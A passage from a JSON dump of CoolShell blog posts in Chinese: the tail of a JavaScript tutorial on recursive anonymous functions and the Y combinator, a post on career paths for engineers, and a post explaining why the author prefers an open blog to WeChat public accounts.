fact(5);\n\n```\n\n在匿名函数下，这个递归该怎么写呢？对于匿名函数来说，**我们可以把匿名函数当成一个参数传给另外一个函数，因为函数的参数有名字，所以就可以调用自己了**。 如下所示：\n\n\n\n```\nfunction combinator(func) {\n  func(func);\n}\n```\n\n这个是不是有点作弊的嫌疑？Anyway，我们再往下，把上面这个函数整成箭头函数式的匿名函数的样子。\n\n\n`（func) => (func(func))` \n\n\n现在你似乎就不像作弊了吧。把上面那个求阶乘的函数套进来是这个样子：\n\n\n首先，先重构一下fact，把fact中自己调用自己的名字去掉：\n\n\n\n```\nfunction fact(func, n) {\n  return n==0 ? 1 :  n * func(func, n-1);\n}\n\nfact(fact, 5); //输出120\n\n```\n\n然后，我们再把上面这个版本变成箭头函数的匿名函数版：\n\n\n\n```\n\nvar fact = (func, n) => ( n==0 ? 1 :  n * func(func, n-1) )\nfact(fact, 5)\n\n```\n\n这里，我们依然还要用一个fact来保存这个匿名函数，我们继续，我们要让匿名函数声明的时候，就自己调用自己。\n\n\n也就是说，我们要把 \n\n\n`(func, n) => ( n==0 ? 1 : n * func(func, n-1) )` \n\n\n这个函数当成调用参数，传给下面这个函数：\n\n\n`(func, x) => func(func, x)` \n\n\n最终我们得到下面的代码：\n\n\n\n```\n \n( (func, x) => func(func, x) ) (  //函数体\n  (func, n) => ( n==0 ? 1 :  n * func(func, n-1) ), //第一个调用参数\n  5 //第二调用参数\n); \n```\n\n好像有点绕，anyway, 你看懂了吗？没事，我们继续。\n\n\n#### 动用高阶函数的递归\n\n\n但是上面这个递归的匿名函数在自己调用自己，所以，代码中有hard code的实参。我们想实参去掉，如何去掉呢？我们可以参考前面说过的那个 MakePowerFn 的例子，不过这回是递归版的高阶函数了。\n\n\n\n```\nHighOrderFact = function(func){\n  return function(n){\n    return n==0 ? 1 : n * func(func)(n-1);\n  };\n};\n```\n\n我们可以看，上面的代码简单说来就是，**需要一个函数做参数，然后返回这个函数的递归版本**。那么，我们怎么调用呢？\n\n\n\n```\nfact = HighOrderFact(HighOrderFact);\nfact(5); \n```\n\n连起来写就是：  \n\n`HighOrderFact ( HighOrderFact ) ( 5 )`\n\n\n但是，这样让用户来调用很不爽，所以，以我们一个函数把  **HighOrderFact ( HighOrderFact )**  给代理一下：\n\n\n\n```\nfact = function ( hifunc ) {\n  return hifunc ( hifunc );\n} (\n  //调用参数是一个函数\n  function (func) { \n    return function(n){\n      return n==0 ? 1 : n * func(func)(n-1);\n    };\n  }\n);\n\nfact(5); //于是我们就可以直接使用了\n```\n\n用箭头函数重构一下，是不是简洁了一些？\n\n\n\n```\nfact = (highfunc => highfunc ( highfunc ) ) (\n  func => n =>  n==0 ? 1 : n * func(func)(n-1)\n);\n```\n\n上面就是我们最终版的阶乘的函数式代码。\n\n\n#### 回顾之前的程序\n\n\n我们再来看那个查找数组的正常程序：\n\n\n\n```\n//正常的版本\nfunction find (x, y) {\n  for ( let i = 0; i < x.length; i++ ) {\n    if ( x[i] == y ) return i;\n  }\n  return null;\n}\n```\n\n先把for干掉，搞成递归版本：\n\n\n\n```\nfunction find (x, y, i=0) {\n  if ( i >= x.length ) return null;\n  if ( x[i] == y ) return i;\n  return find(x, y, i+1);\n}\n```\n\n然后，写出带实参的匿名函数的版本（注：其中的if代码被重构成了 ？号表达式）：\n\n\n\n```\n( (func, x, y, i) => func(func, x, y, i) ) (  //函数体\n  (func, x, y, i=0) => (\n      i >= x.length ?  null :\n         x[i] == y  ?  i : func (func, x, y, i+1)\n  ), //第一个调用参数\n  arr, //第二调用参数\n  2 //第三调用参数\n)\n```\n\n最后，引入高阶函数，去除实参：\n\n\n\n```\nconst find = ( highfunc => highfunc( highfunc ) ) (\n   func => (x, y, i = 0) => (\n     i >= x.length ?  null :\n           x[i] == y  ?  i : func (func) (x, y, i+1)\n   )\n);\n```\n\n注：函数式编程装逼时一定要用const字符，这表示我写的函数里的状态是 immutable 的，天生骄傲！\n\n\n再注：我写的这个比原来版的那个简单了很多，原来版本的那个又在函数中套了一套 next， 而且还动用了不定参数，当然，如果你想装逼装到天上的，理论上来说，你可以套N层，呵呵。\n\n\n**现在，你可以体会到，如此逼装的是怎么来的了吧？**。\n\n\n#### 其它\n\n\n你还别说这就是装逼，简单来说，我们可以使用数学的方式来完成对复杂问题的描述，那怕是递归。其实，这并不是新鲜的东西，这是Alonzo Church 和 Haskell Curry 上世纪30年代提出来的东西，这个就是 Y Combinator 的玩法，关于这个东西，你可以看看下面两篇文章：\n\n\n《[The Y Combinator (Slight Return)](http://mvanier.livejournal.com/2897.html)》，\n\n\n《[Wikipedia: Fixed-point combinator](https://en.wikipedia.org/wiki/Fixed-point_combinator)》\n\n\n（全文完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Go编程模式：Map-Reduce](../wp-content/uploads/2020/12/go.map_.reduce-150x150.png)](https://coolshell.cn/articles/21164.html)[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [![Go 编程模式：Functional Options](../wp-content/uploads/2020/12/go.options-150x150.png)](https://coolshell.cn/articles/21146.html)[Go 编程模式：Functional Options](https://coolshell.cn/articles/21146.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Go编程模式：修饰器](../wp-content/uploads/2017/06/go-hardhat-150x150.png)](https://coolshell.cn/articles/17929.html)[Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\nThe post [如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2016-12-28 技术人员的发展之路.md",
    "content": "---\nlayout: post\ntitle: 技术人员的发展之路\ndate: 2016/12/28/ 4:29:25\nupdated: 2016/12/28/ 4:29:25\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2016/12/people-360x200.jpg)2012年的时候写过一篇叫《[程序算法与人生选择](https://coolshell.cn/articles/8790.html)》的文章，我用算法来类比如何做选择，说白了就是怎么去计算，但是并没有讲程序员可以发展的方向有哪些。 所以，就算是有这些所谓的方法论，我们可能对自己的发展还是会很纠结和无所事从，尤其是人到了30岁，这种彷徨和迷惑越来越重。虽然我之前也写过一篇《[编程年龄和编程技能](https://coolshell.cn/articles/10688.html)》的文章，但是还是有很多做技术的人对于自己能否在年纪大时还能去做技术感到没有信心。我猜测，这其中，最大的问题的是，目前从事技术工作的种种负面的经历（比如经常性的加班，被当成棋子或劳动力等等），让人完全看不到希望和前途，尤其是随着年纪越来越大，对未来的越来越没有信心。\n\n\n同时，也是因为在GIAC的大会被问到，程序员老了怎么办？而在年底这段时间，也和几个朋友在交流中不断地重复谈到个人发展的这个话题。我的人生过半，活到“不惑”的年纪，自然经常性的对什么事都会回头看看总结归纳，所以，在交谈过程中和交谈过后，自己也有一些思考想记录下来。因为我本人也是在这条路上的人，所以，谈不上给他人指导，我同样也是在瞎乱折腾同样每天在思考自己要去哪儿的“一尘世间迷途老生”。况且，我的经历和眼界非常有限，因此，下面的这些关于个人发展的文字和思考必然是受我的眼界和经历所局限的。也欢迎大家补充和指正。\n\n\n这些东西不一定对，也不一定就是全部，期许可以让你在年底的时候有所思考，在明年的时候有所计划。\n\n\n#### 一个重要阶段和标志\n\n\n在讲个人发展之前，我需要先说一下人生中的一个非常重要的阶段——**20到30岁！**\n\n\n**这个阶段的首要任务，就是提升自己学习能力和解决难题的能力。****这是一个非常非常关键的时间段！这个时间段几乎决定着你的未来。**\n\n\n\n30岁以前，这个时间段，应该是人学习和积累的时间段，这个时间段，就是努力学习的时间段。这个时间段，你一定要把时间花在解决问题的技能上。就是说，你一定要练就成的技能是——你能解决大多数人不能解决的问题。使蛮力埋头加班苦干，当一个搬砖老黄牛的是肯定没有前途的。如果你不幸呆在了一个搬砖的地方，天天被业务压得喘不过气来，我建议你宁可让你的项目延期被老板骂，也要把时间挤出来努力学习基础知识，多掌握一些技术（很多技术在思路上是相通的），然后才能有机会改变自己目前的状况。因为，比起你的个人未来，项目延期被老板骂、绩效不好拿不到奖金，都不是什么事儿。\n\n\n总结一下，你在30岁前，工作5-7年，你需要拥有：\n\n\n* **高效的学习能力**。这意味着——基础知识扎实、触类旁通、读英文文档不费劲、有寻找前沿知识的能力、能够看到问题和技术的本质、善于思辩、能独立思考。\n\n\n* **解决问题的能力**。这意味着——你要高效的学习能力、见过很多的场景、犯过或是处理很多错误、能够防火而不是救火。\n\n\n如果你拥有这两个能力的现象是—— **在团队或身边的人群中的显现出Leadership**。\n\n\nLeadership并不是当领导和经理，而是一种特征，这种特征有如下两个简单的表象：\n\n\n* **帮人解问题**。团队或身边中大多数人都在问：“这问题怎么办？”，而总是你能站出来告诉大家这事该怎么办？\n\n\n* **被人所依赖**。团队或身边中大多数人在做比较关键的决定时，都会来找你咨询你的意见和想法。\n\n\n一但你在在30岁之间出现了Leadership这样的特征，那么，你会进入一个正循环的阶段：\n\n\n* 因为你学习能力强，所以，你会有更多的机会解决难题。\n* 你有更多的机会解决难题，你就会学更多的东西，于是你就会更强。\n* 上面这个循环，只要循环上几年，就会让你人生的各种可能性大大的增加。\n\n\n**【 注意 】**\n\n\n* 要达到这样的特质，需要找到自己的长处、以及适合自己的环境。就像鱼的特长是呆在水里，让鱼儿去追求陆上动物的刺激生活并不靠谱。\n\n\n* 一般说来，有这样的潜质的人，在学校中就应该要出现。如果你在大学中还没有出现这样的潜质，那么，你在工作当中要加倍努力了（注：所谓的加倍努力，不是让你使蛮力加班，而是让你多学习成长，使蛮力拼命是弥补不了能力、思维、眼界上的缺陷的）。\n\n\n* Leadership也有范围的，比如，身边的朋友，工作中的团队/部分，圈内，整个行业。Leadership的范围越大，你的个人发展的选择性就越高。反之则越小。\n\n\n* 如果已到了30岁左右，还是没有出现这样的特征。那么，可能未来你也很难有这样的Leadership了。而你的个人发展的可能性可能也就不多了（sigh…）\n\n\n**读到这里，我必需要说一下，如果你已开始显现出你的Leadership，那么你才谈得上个人发展，这篇文章后续的内容也可能才会对你有意义**。\n\n\n#### 个人发展的三个方向\n\n\n以我个人短浅的经历和视野，目前只看到的人的发展有如下三个大方向（他们之间可能会有重叠）：\n\n\n1）**在职场中打拼**\n\n\n2）**去经历有意义有价值的事**\n\n\n3）**追求一种自由的生活**\n\n\n这三个方向，我个人或多或少都体验过，我也见过身边的很多人走这三个方向走的比较成功。也许还有别的方向，没办法，现在，我的视野就这么大，所以，我在这里，我主要就是谈谈这三个方向。Again，**人有资格去走这三个方向的前提是——已有了上面我说的Leadership那种特质！**\n\n\n#### 一、在职场中发展\n\n\n在职场中发展应该是绝大多数人的选择。通过加入公司来达到人生的发展。\n\n\n我们经常可以看到很多所谓的“职业规划”，但是大多数职业规划只不过人力资源搞出来的东西，和实际其实是有很大出入的。我的人生经历中，有18年左右是在公司中度过的，在过银行，小公司，大公司，民营公司，外国公司，传统IT公司，互联网公司，不同的公司完全有不同的玩法和文化，我的经历还算丰富，但也不算特别成功，这里只分享一些我在职场中的心得（不一定对，仅供参考）。\n\n\n##### 1、去顶尖公司\n\n\n**去顶尖公司的一个目的就是让你的Leadership的范围的可能性扩大**。\n\n\n因为公司和公司的差距也不小，所以，就算你在低端公司里是骨干份子，但在高端公司里可能只是一个普通员工（就像中国足球队的主力到了英超可能都无法入选）。所以，在职场中，如果你要让你的个人价值最大化的话，你一定要去顶尖的公司。因为顶尖公司里有非常不错的工作方法和场景，这并不是能看书或是交流得来的，这是必需要去亲身体验的。所以说，在顶尖公司掌握的技能，开阔的眼界，通常来说都会比低端公司的要多得多。\n\n\n另外，每个公司的工作级别都是有相互对标的，比如：阿里的P几对应于百度的T几。国内的一线公司职位还相当，但是如果和国外一线公司的比，那就有差距了，而且差距还很大。比如，Google或Facebook的某个高级工程师，可能就对应于阿里的P8/P9甚至更高。\n\n\n是的，对于职场来说，如果你在顶尖公司是骨干，那么，你去低端公司，则有很大机会会成为他们高管和核心。就好像你在Facebook里干三五年成为他们的技术骨干，那么你到BAT去成成为高管概率是非常大的。反过来，如果你毕业主去了BAT成为了一个螺丝钉，在天天加班中度过你的青春，你干个十年能成为BAT的高管的概率可能会非常的低。\n\n\n##### 2、去真正的创业公司\n\n\n去顶尖公司和去创业公司在某些时候并不冲突。不过，这里我想讲的是，一个技术能力强的人在大公司可能会被埋没掉。因为大公司业务成功后，\n\n\n* 成功的公司在招聘各种高级技术人才都不会成为问题，于是少你一个不少，多你一个不多。\n\n\n* 成功的公司其整个技术体系已经完成，Legacy的问题也比较多，所以，可以供你发挥的余地不大。\n\n\n* 成功的公司更多的可能会想要稳定的系统，稳定必然会产生保守，而保守则产生不思进取。\n\n\n所以，对于中高级人才来说，在大公司里的能产生的个人价值，可能远远不如那些求贤若渴、没有包袱、可以尽情施展、相对更为灵活和自由的创业型公司。\n\n\n不过，去创业公司需要小心仔细的挑选和评估，创业公司的不确定因素很多，也和创始人的因素太大了，所以，你需要小心了解创始人和他们的业务情况，想法和理念差不多才能更好的共事。\n\n\n好多创业公司其实并不是真正的创业公司，他们创业有很大的侥幸和驱利心理，要小心甄别。因为那不是真正的创业公司。\n\n\n##### 3、职业生涯的发展阶段\n\n\n首先，有一个不争事实——**整个社会是会把最重要的工作交给30岁左右的这群人的。也就是说，30岁左右这群人是这个社会的做事的中坚力量。**\n\n\n所以，这是一个机遇！如果你有了Leadership，你就一定能在这个时间段内赶得上这个机遇——公司和领导对你寄于信任和厚望，并把重要的团队和工作交给你。\n\n\n于是，你的30岁到40岁就成了一个职业生涯的发展期，也就是你的事业上升期。如果你到40岁都没有赶上，那么你的职业生涯也就这样了，老有所成的人是少数。\n\n\n在你事业的上升期，你需要更多的软技能，比如：\n\n\n* 带领产品和业务的发展的能力\n* 推行自己喜欢的文化的能力\n* 项目管理的能力——在任务重、时间紧中求全\n* 沟通和说服别人的能力\n* 解决冲突的能力\n* 管理和发展团队的能力\n* 解决突发事件的应急能力\n* …… ……\n\n\n另外，你还要明白在职场里的几个冷酷的事实：\n\n\n* **你开始要关心并处理复杂的人事**。尤其在大公司，大量的人都是屁股决定脑袋，利益关系复杂，目标不一致，每个人心里都有不一样的想法。这个时候再也不是talk is cheap, show me the code！而是，code is cheap，talk is the matter。你需要花大量的时间去思考和观察形形色色的人。需要耗费大量的精力在不同的人之间周旋，而不是花时间去创造些什么有价值的东西。\n\n\n* **你要开始学会使用各种政治手段**。办公室政治不可避免，越大的公司越重，自从你开始成为一线的leader的那一天起，你就开始成为“里外不是人”的角色，需要在下属和领导，员工和公司之间周旋。随而你的级别越来越高，你需要使用更多的政治手段，你会学会审时度世的站队，学会迎合员工和领导，学会用官员的语言说话，学会此一时彼一时，学会妥协和交换，学会忍气吞声，学会在在适当的时机表现自己，学会波澜不惊，学会把自己隐藏起来，甚至你还会迷失自我，开始学会一些厚黑学，比如不得不在适当的时机在背后捅人刀子……你可能会成为一个你自己都讨厌的人\n\n\n听上去真的好无聊，所以，你现在也明白为什么高层们都看上去很忙很累，而且抽不出时间来关心细节问题，因为，他们更多的是要协调整个组织和系统来运转，甚至还要四处周旋，各种博弈，没办法，这是职场的必需的东西！听起来是不是感觉人类很愚蠢？这真是没办法的事。如果你不想或是也没有能力玩这些东西，那么你需要去那些可以让技术人员安安心心做技术的公司。这类的公司，我见过Microsoft、Google、Amazon或是一些创业公司里都有。国内的大公司中也有让技术人员成长的职业成长线，但老实说，表面上看似是一个让人专心做技术的升职成长线，但其实还是管理岗位。\n\n\n所以，**技术人员在职场中的归宿有两条路 —— 到真正的技术公司成为一个专心做技术的人，或是在成为一个职业的经理人**。\n\n\n \n\n\n#### 二、追求人生的经历\n\n\n先说三个故事，\n\n\n* 第一个，是在阿里的时候，有一天在内网里看到一个贴子，一个做产品的女孩说自己准备离职要去法国学烘培厨艺，引得大家热评。\n\n\n* 第二个，是在亚马逊的美国老板，他每年都要去报个培训班学一个技能，比如：厨艺、开双翼飞机、夜总会里的DJ……、甚至去华盛顿去学当一个政客。\n\n\n* 第三个，是在汤森路透工作时，一个英国的同事，有一天他说他离职了，和自己的老婆准备用余生去周游世界，我问他是不是有足够多的钱了？他和我说，钱不够，他俩口子的计划是，边旅游边打工，打工打够到下一站的钱就走。他还说，那种用假期去另一个城市的旅游太没意思了，如果你不在那个地方生活上一段时间 ，你怎么能算是好的旅游体验呢？好吧，无法反驳。\n\n\n我是觉得他们把自己的人生过得如此有意思，令我很佩服。虽然跨界跨得有点猛，但是 Why Not？\n\n\n在这里，我想说，去追求一种和众人不一样的人生经历也是一件挺好的事，我个人感觉，比起在职场里有趣地多多了。如果你厌倦了职场，其实为什么不去追求一下不同的人生经历呢。就算你不想去追求跨度比较大的人生经历，那么，在技术圈里，也有很多有价值有意思的经历也可以去的。**追求刺激有意义的与众不同的经历的人，其实也能算是一种人生的成功，不是吗？**\n\n\n如果只说技术方面，我个人看到的去追求经历的人，有两种追求的人其实也很成功的：\n\n\n* **到技术创新的发源地去经历创新**。计算机互联网各种技术的创新引擎，基本上来说，就是在美国了。我们赶上了这个时代，也选对了这个时代最火热的行业，那么，有什么理由不去这个时代的技术发动机那里去经历呢？在美国硅谷湾区，无论是大公司，还是创业公司，都在迸发着各式各样的创新，如果有能力有机会，为什么不努力去经历一下呢？不经历一下，老了不会觉得错过了是一种后悔吗？\n\n\n* **去经历下一个热点技术的发展**。从IT，到互联网、再到移动互联网、云计算、大数据，再到未来的AI，VR，IoT……，技术创新的浪潮一波接一波的过来，你是想在那继续搬砖搬下去，是想迎浪而上去经历浪潮，还是想成为一个随波逐流的人？\n\n\n打工也好，创业也好，在国内也好，在国外也好，这些都是形式，不是内容。内容则是你有没有和有想法的人去经历有意义有价值事？人生苦短，白驹过隙，我们技术人员最大的幸运就是生在这样一个刺激的时代，那么，你还有什么理由不去追逐这些前沿刺激的经历呢？\n\n\n#### 三、追求自由的生活\n\n\n我相信“自由”这个事，是所有人的心中都会想去追求的。“生命诚可贵，爱情价更高，…… ”（哈哈）\n\n\n但一说起自由，绝大多数人都想到的是“财富自由”或是“财务自由”，其实，并不完全是这样的，在自由的通路上，我个人的经历告诉我，其实，你会有很多的不同类型的自由。下面，是我对几个层次的“自由”的理解。\n\n\n**第一层自由——工作自由**。人的第一层自由的境界是——“工作自由”，我到不是说你在工作单位上可以很自由，虽然有特例，但并不普遍。我想说的“工作自由”是——你不会有失业危机感了。也就是说，你成了各个公司的抢手货，你不但不愁找不到工作，而且你是完全不愁找不到好工作。试想一下，如果是工作来找你，一方面，你就有真正意义上的工作选择权了，另一方面，你都不愁工作了，你完全就可以随时离职去干你想干的事了。此时，你就达到了“工作自由”。\n\n\n**第二层自由——技能自由**。工作自由已是不错，不过前提是你还是需要依赖于别人提供的工作机会。而技能自由则是你可以用自己的技能养活自己，而不需要去公司里工作。也就是所谓的自由职业者了，社会上，这样的人也不少，比如，一些健身体育教练、设计师、翻译者、作者……这些都可以算是自由职业者，程序员这个职业中只要不是搬砖的，有想法的，就有可以成为自由积业者的潜质，想一想，你拥有的编程能力，其实是一种创造的能力，也就是创造力，只要你Make Something People Want（YC创业公司的slogan），你是完全可以通过自己的技能来养活自己的。如果你通过某些自动化的东西，或是你在App上做了一个软件个体户，让自己的收入不断，甚至你做了一个开源软件，社区每个月都给你捐款捐到比你打工挣的还多，那么你就真正的有了技能自由了。\n\n\n**第三层自由——物质自由。**我把财务自由换了一种说法。我个人觉得，除了有个好爸爸之外这种特例的情况，如果你想有物质自由的话，本质上来说，你一定要学会投资，投资不一定是你的钱，时间也是一种财富，年轻更是，你怎么投资你的时间还有你的青春？你要把你的投资投到什么样的事，什么样的人？对于投资这个事，风险也比较大。但是，人生不敢冒险可能才是最大的冒险。这个世界有很多技术不是你能看书学来的，而要只能在实战中学会的，比如：游泳。投资可能也是一种。只有真正懂投资的人，或是运气非常好的人，才可能实现物质自由。\n\n\n追求自由的生活，其实也是个人发展道路上的一个不错的选择。通常来说，自由的人，能力都不差，钱也不会少。因为，他们懂得投资。\n\n\n也就是说，拥有追求自由能力的的人，\n\n\n* 不但有领导力和创造力（也可指导大多数人并走在大多数人前面）\n* 同时他还懂得怎么投资（知道时间和精力和金钱应该投在什么地方）\n\n\n（注：这里我没有提精神自由，老实说，精神上的自由我也不清楚是什么东西，因为我还没有见过，眼界有限，所以先按不表了，不然真成鸡汤文了）\n\n\n#### 总结\n\n\n无论是在职场中打拼，还是追求精彩的经历，还是去实现自由，我觉得都是不错的个人发展的方向。\n\n\n他们都有重叠，比如：\n\n\n* 你可以在职场中去追求那些刺激的经历的公司。\n* 同样也可以通过加入有潜力高速发展的公司来达到自由。\n* 你也可以通过追寻不一样的经历来达到人生的自由。\n* ……\n\n\n**总之，这里的逻辑是——**\n\n\n* **能够去规划自己的个人发展的人，通常都是有很多机会和可能性的人**。\n\n\n* **有很多机会和可能性的人，通常都是有Leadership，喜欢冒险的人。**\n\n\n* **有Leadership喜欢冒险的人，通常都是学习能力强，思维活跃，喜欢折腾，懂得“投资”的人。**\n\n\n* **学习能力强思维活跃的人，通常来说，都是喜欢看书，喜欢实践和新鲜事物，不怕艰难和挑战，用智力而不是使蛮力的人。**\n\n\n* **懂得“投资”的人，通常来说，他们更多的关注的是未来和长远的成长，而不是当下的KPI、奖金和晋升。**\n\n\n \n\n\n![电影《飞屋环游记》](../wp-content/uploads/2016/12/up.jpg)插图来自电影《飞屋环游记》\n**最后祝大家新年快乐，来年大展鸿图。**\n\n\n（全文完）\n\n\n \n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序算法与人生选择](../wp-content/uploads/2012/12/choice-150x150.jpg)](https://coolshell.cn/articles/8790.html)[程序算法与人生选择](https://coolshell.cn/articles/8790.html)\n* [![三个事和三个问题](../wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg)](https://coolshell.cn/articles/6142.html)[三个事和三个问题](https://coolshell.cn/articles/6142.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/3231.html)[你和你的工作](https://coolshell.cn/articles/3231.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\nThe post [技术人员的发展之路](https://coolshell.cn/articles/17583.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2016-7-11 为什么我不在微信公众号上写文章.md",
    "content": "---\nlayout: post\ntitle: 为什么我不在微信公众号上写文章\ndate: 2016/7/11/ 1:8:40\nupdated: 2016/7/11/ 1:8:40\nstatus: publish\npublished: true\ntype: post\n---\n\n![Community](../wp-content/uploads/2016/07/Community-300x161.jpg)很多朋友问我为什么不在微信公众号上写文章。我都没有直接回答，老实说，我也是扭扭捏捏的，才去开了个个人的微信的公众号，而且还只是为了使用微服小程序，和文章的发布通知，我承认现在的阅读都在移动端，而且微信的公众号是国内移动端的文章流量及分享的入口，但是我还是更愿意使用blog这样的方式分享文章，最多也是在blog这边写好文章后，再去微信公众号那边通知一下。这个原因，不是因为我是一个老顽固，有习惯思维，而是，我不觉得微信公众号是一个好的信息传播和交流的平台。\n\n\n**我下面的言论仅仅代表我的个人观点，我不想强加给别人，我只是想说明一下为什么我不把我的blog迁移到微信公众号上。**\n\n\n首先，互联网是开放和共享的，不是封闭的。信息的传播更是需要开放的，大家可以看看[互联网之子](https://coolshell.cn/articles/11928.html)。\n\n\n* 我希望我的文章能够被rss feed到各种阅读器中。\n* 我希望我的文章能有更长的生命周期，长到十几年前的文章都会有人来读。\n* 我希望我的文章可以被搜索引擎所检索到。\n* 我希望我的文章能被别人整理，与其它人的文章放在一起互补并引用。\n* 我希望我的文章能被修改，因为文章会有错误，也会需要时常更新。\n\n\n然而，微信公众号都不能很好的支持。我希望我的文章能成为生态圈的里的一部份。所谓生态圈是相互融合，不是唯我独尊。这个和做开源软件的道理一样，开源软件不是把源代码开出来就好了，而是要去和已有的其它软件互相融合，互相兼容，互相支持，这本就是软件设计的真谛（参看《UNIX编程艺术》）。所以，我想，写文章也一样。\n\n\n下面是我觉得文章传播的姿势。\n\n\n\n#### 文章传播的姿势\n\n\n**我希望我的文章是被检索的，这意味着，就算文章写过了好多年，它依然可以被检索到，而不是在社交圈上被大众转了3-4天后就完了，然后再也没有然后了**。\n\n\n今天，我十多年前写的文章依然可以被检索到，依然对后来的新人有帮助。因为我的文章被搜索引擎检索了，我的文章被转载fork出去了，被人引用和标注，所以，可以长期被传播。\n\n\n今天的酷壳（CoolShell.cn）已经很长时间没有更新了，然而里面的很多文章依然在被转发着，在被搜索着，在被重复阅读和被人推荐着，文章不断的被后来的人阅读。这就是被检索被共享被转载的好处。\n\n\n同时，我并不希望成为某个平台写文章的苦力。在微信公众号下，你需要不断的更新才会积累起人气（订阅者），而文章的保鲜期非常有限，因为不能被检索，所以，你写的越多，你过去的文章也会被遗忘的越快。**而微信公众平台让能写文章的人好像成为了这个平台的一个写作的奴隶，而不是让他们的文章中的内容和观点可以有长时间的影响力**。换言之，在社交网络上，如果你要有影响力，你就要使劲写，需要更多的粉丝和订阅者。我个人认为这是违反了信息传播规律的。\n\n\n**最重要的是，我希望我的文章和观点是有讨论的，希望我的文章能被指正和批评，最好是引发讨论和思辨**，这样才会让我们每一个人都可以在交流中成长。**很多时候，文章本身并没有什么太大的价值，而引发的讨论和思辨才更有价值，这是我认为文章传播最正确的姿势。而微信的公众号在讨论方面人为的阻止或大大消弱了大家的沟通和讨论（尤其是精选评论）**。虽然我承认有些讨论也是无效的，而且还有漫骂和跑题，但是我依然觉得百花齐放的讨论的利大于弊。\n\n\n我私以为，**信息的传播正确姿势，是被检索、讨论、引用、整理、补充和更新，而不是社交网络的转发、点赞、粉丝、订阅和打赏**。\n\n\n换句话说，**我关注的是的文章的长期价值，而不是短期的表象**。\n\n\n#### 关于文章的版权\n\n\n很多人认为，封闭的平台有个比开放平台天然的优势，就是盗版和抄袭的问题，可以通过平台举报和惩罚对方。我以前也受到一些被抄袭和盗用的困扰，还曾经拿起来法律的武器维护自己的权利。\n\n\n可能是我经历这样的事情比较早，所以，我今天在这个问题上不纠结了。\n\n\n1、好的有价值的文章总是被人盗用抄袭的，这也算是对作者的一种认可吧。\n\n\n2、我从来没有见过有人靠抄袭和盗用别人文章而成功的，无非就是收获几个赞罢了。\n\n\n3、原创文章被人过抄袭和盗用，反而容易得到更多的关注。\n\n\n**微信公众号的原创保护也只是局限在微信上，微信之外的平台，它也无能为力，所以，对于我的文章会被转到很多地方的这种情况来看，微信公众号的原创保护也非常有限。**\n\n\n现在，我倒是不纠结有人会盗用和抄袭我的文章，因为，一方面，你可以有一些小伎俩来保护你的文章，比如在文章内容中放入一些你自己特有的标识，另一方面，我的文章被人盗用了抄袭的时候，总有一些网友能在盗用者那边指出来原文章是什么，并批评之。**所以，还是应该把主要精力放在文章的内容和质量上，并让文章可以被检索和被更多的地方所引用，这样，你的文章才会得到最大的保护**。\n\n\n另外，**既然别人对我的文章有抄袭和盗用的需求，要不我就让别人干得更体面一些。所以，我的文章完全可以自由的转载，但不得用于商业目的，只需要注明作者和出处就好了**。\n\n\n \n\n\n#### 关于写文章挣钱\n\n\n首先，如果你觉得在微信公众号上写技术文章是可以挣钱的，那么恐怕你搞错了，营销文是可以的，技术文章还是比较难的。\n\n\n当然，你要挣点小钱是可以有的，但是，你需要写软文中植入广告，或是消费热点主题，比如前段时间的魏则西事件，有的公众号被打赏了一些钱。\n\n\n老实说，这对我来说完全无感，因为，我的逻辑是这样的：**我觉得一个人有一定的影响力，其中有很大一部份原因来自他的独立性，如果我开始写软文了，相当于我把自己卖了**。\n\n\n所以，我现在从来不通过写文章挣钱，因为我会写代码，我还是通过我的技能挣钱，通过给一些公司做咨询、培训、企业服务挣钱，老实说，靠自己的能力挣钱，比写文章挣钱挣得多多了，因为我觉得，**像我写的这类的文章本来就是用来分享和传播的，不是用来挣钱的。写文章的目的是分享和影响，不是挣钱。**\n\n\n关于独立性，这里说两个花絮吧——\n\n\n我在Amazon的时候，我和公司讲，我想在我的博客上写几篇关于亚马逊的文章，介绍亚马逊的技术和一些做事的方法，也算是个宣传，让我的团队也好招人，但是，我当时的老板和我说，你的博客之所以有影响力是因为你的独立性，不要写亚马逊的，这样会把你自己卖了，千万别这么做。\n\n\n然而，我在Alibaba的时候，我的大老板要求我用我的博客和微博帮阿里云做营销，我非常委婉地拒绝了，结果，团队合作的价值观不达标了。呵呵。\n\n\nP.S. 